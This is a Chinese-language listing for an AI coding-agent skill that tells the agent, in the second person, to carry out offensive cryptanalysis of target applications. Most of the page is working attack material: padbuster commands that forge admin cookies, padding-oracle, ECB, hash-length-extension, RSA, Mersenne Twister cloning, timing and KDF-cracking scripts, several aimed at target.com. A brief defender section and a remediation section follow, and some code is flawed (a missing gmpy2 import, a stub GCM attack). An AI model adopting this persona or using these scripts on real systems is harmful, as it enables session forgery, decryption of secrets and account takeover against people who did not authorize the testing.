mcpField
O
offensive-crypto-attacks

offensive-crypto-attacks

github.com/snailsploit安全9.7k129 次安装2 周前更新
代码仓库

关于 offensive-crypto-attacks

面向授权安全测试的密码实现攻击技能,聚焦应用误用密码算法所产生的弱点。内容涵盖攻击流程、工具、检测信号与修复建议。

主要功能

  1. 01填充预言和 ECB 攻击
  2. 02哈希长度扩展分析
  3. 03RSA 弱点评估
  4. 04伪随机数与时序攻击
  5. 05AES-GCM nonce 重用分析
  6. 06防御信号与修复建议

适用场景

  1. 01评估加密 Cookie 和令牌
  2. 02测试 MAC 与 RSA 实现
  3. 03检查会话令牌随机数生成
  4. 04记录发现与缓解措施

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-crypto-attacks

安装后在 Claude Code 中输入/offensive-crypto-attacks确认已加载。

详细介绍

密码学实现攻击

你正在对目标应用进行进攻性密码分析。本技能涵盖有缺陷的密码学实现的识别与利用——攻击的不是底层数学原语,而是开发者误用这些原语的方式。你应将每个加密数据块、签名令牌和哈希值都视为潜在攻击面。

快速工作流

  1. 找出密码学相关入口——Cookie、令牌、API 参数、存储的凭据、签名 URL。
  2. 确定算法和模式——测量密文长度变化、检测分组对齐情况、检查是否存在 Base64/十六进制编码层。
  3. 判断漏洞类型——填充预言机、ECB 确定性、弱 MAC 构造、RSA 参数弱点、PRNG 可预测性。
  4. 选择并配置合适的工具或自定义脚本。
  5. 执行攻击,解密或伪造目标值。
  6. 记录密码学弱点、根本原因及修复方案。

填充预言机攻击

填充预言机攻击利用这样的系统:它会透露 CBC 模式解密后的明文是否具有有效的 PKCS7 填充。只需一位信息——填充有效或无效——就足以解密任意密文块,或在不知道密钥的情况下伪造任意明文。

通过提交经过修改的密文并观察响应差异,识别预言机。预言机可能表现为不同的 HTTP 状态码、不同的错误消息、时间差异,或应用逻辑中的行为变化。

使用 padbuster 对 Web 应用进行自动化攻击:

# Decrypt an encrypted cookie value
# URL is the endpoint, EncryptedValue is the target, BlockSize is typically 8 or 16
padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16 \
  -cookies "session=EncryptedValue" \
  -encoding 0 \
  -error "invalid"

# Forge a new plaintext value using the discovered oracle
padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16 \
  -cookies "session=EncryptedValue" \
  -encoding 0 \
  -error "invalid" \
  -plaintext "admin=true;user=attacker"

当 padbuster 无法处理目标的编码或传输方式时,编写自定义填充预言机攻击脚本:

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import requests
import struct

def oracle(iv, ciphertext, url):
    """Return True if the server accepts the padding."""
    payload = (iv + ciphertext).hex()
    resp = requests.get(url, params={"data": payload})
    return resp.status_code != 500  # Adapt to your oracle signal

def decrypt_block(prev_block, cipher_block, url, block_size=16):
    """Decrypt a single block via Vaudenay's attack."""
    intermediate = bytearray(block_size)
    plaintext = bytearray(block_size)

    for byte_pos in range(block_size - 1, -1, -1):
        pad_val = block_size - byte_pos
        crafted_iv = bytearray(block_size)

        # Set already-recovered bytes to produce correct padding
        for k in range(byte_pos + 1, block_size):
            crafted_iv[k] = intermediate[k] ^ pad_val

        for guess in range(256):
            crafted_iv[byte_pos] = guess
            if oracle(bytes(crafted_iv), cipher_block, url):
                # Handle the ambiguity on the last byte
                if byte_pos == block_size - 1:
                    crafted_iv[byte_pos - 1] ^= 1
                    if not oracle(bytes(crafted_iv), cipher_block, url):
                        continue
                intermediate[byte_pos] = guess ^ pad_val
                plaintext[byte_pos] = intermediate[byte_pos] ^ prev_block[byte_pos]
                break

    return bytes(plaintext)

ECB 分组操纵

ECB 模式使用同一密钥独立加密每个分组,因此相同的明文分组会产生相同的密文。这种确定性带来了两类主要攻击:剪切并粘贴式分组重排,以及逐字节解密。

通过加密重复明文并检查是否存在重复密文分组,检测 ECB 模式:

def detect_ecb(ciphertext, block_size=16):
    """Detect ECB mode by finding duplicate blocks."""
    blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
    return len(blocks) != len(set(blocks))

# Probe an encryption oracle for ECB
# Send 3 blocks of identical bytes -- if 2+ output blocks match, it is ECB
probe = b"A" * (block_size * 3)
ciphertext = encryption_oracle(probe)
if detect_ecb(ciphertext):
    print("ECB mode confirmed")

针对会在加密前将秘密附加到输入末尾的预言机,执行逐字节解密:

def byte_at_a_time_ecb(oracle_func, block_size=16):
    """Recover secret appended by an ECB encryption oracle."""
    recovered = b""

    # Determine the total secret length
    baseline_len = len(oracle_func(b""))

    for i in range(baseline_len):
        block_index = (len(recovered)) // block_size
        # Craft input so the target byte is the last byte of a block
        pad_len = block_size - 1 - (len(recovered) % block_size)
        padding = b"A" * pad_len

        # Get the target block
        target_ct = oracle_func(padding)
        target_block = target_ct[block_index * block_size:(block_index + 1) * block_size]

        # Brute-force the unknown byte
        for byte_val in range(256):
            test_input = padding + recovered + bytes([byte_val])
            test_ct = oracle_func(test_input)
            test_block = test_ct[block_index * block_size:(block_index + 1) * block_size]
            if test_block == target_block:
                recovered += bytes([byte_val])
                break

    return recovered

ECB 剪切并粘贴攻击会重排密文分组,以生成包含攻击者控制内容的有效明文。目标是这类系统:系统使用 ECB 加密结构化数据(JSON、键值对、序列化对象),且攻击者可以控制部分输入。


哈希长度扩展

当应用使用 Merkle-Damgard 哈希(MD5、SHA1、SHA256)将 MAC 计算为 H(secret || message) 时,你可以向消息追加数据并计算出有效 MAC,而无需知道秘密。你只需要原始 MAC、消息和秘密长度(或一段可用于暴力破解的长度范围)。

使用 hashpump 伪造扩展后的消息:

# hashpumpy Python bindings
pip install hashpumpy

# Forge an extended hash
# Original signature, original data, data to append, key length
hashpump -s "original_mac_hex" \
  -d "original_data" \
  -a "&admin=true" \
  -k 16
import hashpumpy
import requests

original_mac = "a1b2c3d4e5f6..."
original_data = "user=guest&expire=2025"
append_data = "&admin=true"

# Try key lengths from 8 to 32
for key_len in range(8, 33):
    new_mac, new_data = hashpumpy.hashpump(
        original_mac, original_data, append_data, key_len
    )
    # Submit the forged request
    resp = requests.get(
        f"http://target.com/api?data={new_data.hex()}&mac={new_mac}"
    )
    if resp.status_code == 200 and "admin" in resp.text:
        print(f"Key length: {key_len}")
        print(f"Forged MAC: {new_mac}")
        break

HMAC 构造(H(key XOR opad || H(key XOR ipad || message)))不受长度扩展攻击影响。如果确认系统使用了 HMAC,请转向其他攻击途径。


RSA 攻击

RSA 实现往往会以可预测的方式失效。攻击填充方案之前,先检查数学参数。

使用 RsaCtfTool 自动分析 RSA:

# Attack a public key directly
RsaCtfTool --publickey pubkey.pem --private

# Decrypt a ciphertext with a known weak key
RsaCtfTool --publickey pubkey.pem --uncipherfile ciphertext.bin

# Attack multiple keys for common factor (shared prime)
RsaCtfTool --publickey "key1.pem,key2.pem" --private

# Specific attack selection
RsaCtfTool --publickey pubkey.pem --attack wiener
RsaCtfTool --publickey pubkey.pem --attack smallq
RsaCtfTool --publickey pubkey.pem --attack fermat

当明文足够短,使 m^e < n 时,利用较小的公钥指数(e=3):

from Crypto.PublicKey import RSA
from gmpy2 import iroot

def small_exponent_attack(ciphertext_int, e, n):
    """When m^e < n, the ciphertext is simply m^e with no modular reduction."""
    plaintext_int, is_perfect = iroot(ciphertext_int, e)
    if is_perfect:
        return int(plaintext_int).to_bytes(
            (int(plaintext_int).bit_length() + 7) // 8, 'big'
        )
    return None

# Hastad's broadcast attack: same message encrypted with e=3 to 3 recipients
def hastad_broadcast(ciphertexts, moduli, e=3):
    """CRT-based recovery when the same message is sent to e recipients."""
    from functools import reduce
    N = reduce(lambda a, b: a * b, moduli)
    result = 0
    for ci, ni in zip(ciphertexts, moduli):
        Ni = N // ni
        _, mi, _ = gmpy2.gcdext(Ni, ni)
        result += ci * Ni * int(mi)
    result = result % N
    plaintext, _ = iroot(result, e)
    return int(plaintext).to_bytes((int(plaintext).bit_length() + 7) // 8, 'big')

Bleichenbacher 攻击针对 RSA PKCS#1 v1.5 填充。任何能区分解密后有效与无效 PKCS#1 v1.5 填充的系统都可能成为预言机。这包括返回不同警报的 TLS 服务端、返回不同错误码的 API,以及错误处理中的时间差异。该攻击大约需要 2^20 次预言机查询才能恢复明文。

Coppersmith 方法可在已知部分信息时,恢复 RSA 明文中较小的未知部分或分解因数。使用 SageMath 进行格计算:

# SageMath: recover high bits of a factor
# If you know the top bits of p, Coppersmith finds the rest
n = <modulus>
p_approx = <known_high_bits_of_p>
P.<x> = PolynomialRing(Zmod(n))
f = p_approx + x
roots = f.small_roots(X=2^64, beta=0.5)  # X bounds the unknown portion
if roots:
    p = p_approx + int(roots[0])
    q = n // p
    print(f"p = {p}")
    print(f"q = {q}")

弱 PRNG 利用

从可预测来源(时间戳、PID、低熵池)为随机数生成器设定种子的应用会产生可预测的输出。

从连续 624 个 32 位输出中恢复 MT19937(Mersenne Twister)内部状态:

def untemper(y):
    """Reverse the MT19937 tempering transform."""
    # Reverse: y ^= y >> 18
    y ^= y >> 18
    # Reverse: y ^= (y << 15) & 0xEFC60000
    y ^= (y << 15) & 0xEFC60000
    # Reverse: y ^= (y << 7) & 0x9D2C5680 (iterative)
    tmp = y
    for _ in range(7):
        tmp = y ^ ((tmp << 7) & 0x9D2C5680)
    y = tmp
    # Reverse: y ^= y >> 11 (iterative)
    tmp = y
    for _ in range(3):
        tmp = y ^ (tmp >> 11)
    y = tmp
    return y

def clone_mt19937(outputs_624):
    """Clone MT19937 state from exactly 624 observed 32-bit outputs."""
    import random
    mt_state = [untemper(o) for o in outputs_624]
    # Reconstruct the state tuple: (3, tuple(624 ints + index), None)
    state = (3, tuple(mt_state + [624]), None)
    cloned = random.Random()
    cloned.setstate(state)
    return cloned

# Predict all future outputs
cloned_rng = clone_mt19937(observed_outputs)
next_token = cloned_rng.getrandbits(32)

通过缩小种子范围来利用基于时间设定种子的 PRNG:

import random
import time

def brute_force_time_seed(known_output, time_window_start, time_window_end):
    """Recover the seed when random.seed() was called with int(time.time())."""
    for seed in range(int(time_window_start), int(time_window_end)):
        rng = random.Random(seed)
        if rng.getrandbits(32) == known_output:
            return seed
    return None

计时侧信道攻击

计时攻击利用加密比较中依赖数据的执行时间。经典目标是逐字节比较 MAC、令牌或密码的字符串。

import requests
import time
import statistics

def timing_attack_mac(url, known_prefix, charset, samples=20):
    """Recover a MAC byte-by-byte via timing side-channel."""
    best_byte = None
    best_time = 0

    for candidate in charset:
        test_mac = known_prefix + candidate + "\x00" * (32 - len(known_prefix) - 1)
        times = []
        for _ in range(samples):
            start = time.perf_counter_ns()
            requests.get(url, params={"mac": test_mac})
            elapsed = time.perf_counter_ns() - start
            times.append(elapsed)

        median = statistics.median(times)
        if median > best_time:
            best_time = median
            best_byte = candidate

    return known_prefix + best_byte

# Statistical enhancement: use percentile comparison to reduce noise
# Network jitter requires 50-100+ samples per candidate in practice

AES-GCM Nonce 重用

AES-GCM 重用 nonce 会造成灾难性后果。使用相同密钥重用 nonce 会导致认证密钥(GHASH 密钥 H)被恢复,并可解密异或后的明文以及伪造认证标签。

from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes, bytes_to_long
import struct

def exploit_gcm_nonce_reuse(ct1, tag1, aad1, ct2, tag2, aad2, nonce):
    """
    Given two ciphertexts encrypted under the same key and nonce,
    recover the GHASH key H and forge tags for arbitrary messages.
    XOR of ciphertexts yields XOR of plaintexts.
    """
    # Recover plaintext XOR
    xor_plaintexts = bytes(a ^ b for a, b in zip(ct1, ct2))

    # Recover GHASH key H from the tag polynomial relationship
    # tag1 = GHASH(H, aad1, ct1) XOR E(K, nonce||0^31||1)
    # tag2 = GHASH(H, aad2, ct2) XOR E(K, nonce||0^31||1)
    # tag1 XOR tag2 = GHASH(H, aad1, ct1) XOR GHASH(H, aad2, ct2)
    # This yields a polynomial in H over GF(2^128)

    # The polynomial root gives H; use SageMath or a GF(2^128) library
    # for the actual field arithmetic
    print(f"Plaintext XOR: {xor_plaintexts.hex()}")
    print("Solve the GHASH polynomial in GF(2^128) to recover H")
    return xor_plaintexts

密钥派生弱点

针对工作因子不足的基于密码的密钥派生:

import hashlib
import itertools

# Weak KDF: single SHA-256 iteration, no salt
def crack_weak_kdf(target_key_hex, wordlist_path):
    """Crack a key derived via single-pass SHA-256 of a password."""
    target = bytes.fromhex(target_key_hex)
    with open(wordlist_path, 'r') as f:
        for word in f:
            word = word.strip()
            derived = hashlib.sha256(word.encode()).digest()
            if derived == target:
                return word
    return None

# Detect weak PBKDF2 iteration counts
def check_pbkdf2_strength(iterations, algorithm="sha256"):
    """Flag insufficient PBKDF2 parameters per OWASP 2024 guidance."""
    minimums = {
        "sha1": 1_300_000,
        "sha256": 600_000,
        "sha512": 210_000,
    }
    minimum = minimums.get(algorithm, 600_000)
    if iterations < minimum:
        print(f"WEAK: {iterations} iterations of PBKDF2-{algorithm}")
        print(f"Minimum recommended: {minimum}")
        return False
    return True

检测 / 防御者视角

防御者应监控以下加密攻击迹象:

  • 填充预言探测:向同一端点发送大量请求,并逐步修改密文参数。留意数百个连续请求中仅有一个字节变化的请求模式。对针对加密输入返回二元通过/失败结果的端点发出警报。
  • ECB 探测:向加密端点提交包含长串重复字符(16 个或更多相同字节)的请求。
  • 哈希长度扩展:URL 参数或 Cookie 在本应为可打印文本的位置包含空字节(%00)。消息正文长度超出预期,且带有填充痕迹。
  • RSA 参数收集:反复请求公钥端点、下载证书或枚举 TLS 握手。
  • 计时攻击:针对身份验证或 MAC 验证端点的请求模式异常,并发量高。对响应时间分布进行统计分析,发现阶梯状模式。
  • Nonce 重用:监控加密操作中的计数器重置或 nonce 冲突。将抗 nonce 误用的 AEAD 模式(AES-GCM-SIV、XChaCha20-Poly1305)作为纵深防御。

修复优先级:从 CBC 迁移到认证加密(AES-GCM、ChaCha20-Poly1305),使用 HMAC 替代 H(secret||message),强制使用带 OAEP 填充的至少 2048 位 RSA 密钥,使用密码学安全的 RNG(secrets 模块、/dev/urandom),对所有机密值实施恒定时间比较,并强制采用 OWASP 推荐的 PBKDF2 迭代次数,或迁移到 Argon2id。


测试速查表

目标工具 / 技术第一步
加密 Cookie(CBC)padbuster修改最后一个字节,观察响应差异
加密令牌(ECB)自定义 Python发送重复块,检查是否重复
MAC = H(secret+msg)hashpumpy确认 Merkle-Damgard 哈希,尝试扩展
RSA 公钥RsaCtfTool提取 n 和 e,检查密钥大小和因子
会话令牌(PRNG)自定义 Python收集 624 个以上输出,克隆 MT 状态
身份验证端点计时脚本测量每个字节位置的响应时间
AES-GCM 加密 API自定义 Python / SageMath检测捕获的消息之间是否重用了 nonce
密码派生密钥hashcat / 自定义脚本识别 KDF,检查迭代次数

密文识别经验法则:

  • 长度是 8 字节的倍数:可能是 CBC/ECB 模式下的 DES/3DES。
  • 长度是 16 字节的倍数:可能是 CBC/ECB 模式下的 AES。
  • 长度为明文 + 16 字节(标签):可能是 AES-GCM。
  • 无论输入如何,输出长度固定:可能是哈希,而非加密。

关键参考资料

  • Vaudenay,S.《CBC 填充导致的安全漏洞》。EUROCRYPT 2002。
  • Bleichenbacher,D.《针对基于 RSA 加密标准 PKCS#1 的协议的选择密文攻击》。CRYPTO 1998。
  • Duong,T. 和 Rizzo,J.《实用填充预言机攻击》。USENIX WOOT 2010。
  • Coppersmith,D.《多项式方程的小解与低指数 RSA 漏洞》。Journal of Cryptology,1997。
  • Joux,A.《NIST 版本 GCM 中的认证失效》。NIST 评论,2006。
  • CWE-327:使用已损坏或存在风险的加密算法。
  • CWE-328:使用弱哈希。
  • CWE-330:使用随机性不足的值。
  • OWASP 密码存储备忘单(PBKDF2/Argon2id 迭代次数指南)。
  • RsaCtfTool:https://github.com/RsaCtfTool/RsaCtfTool
  • padbuster:https://github.com/AonCyberLabs/PadBuster
  • hashpumpy:https://github.com/bwall/HashPump

评论

支持 Markdown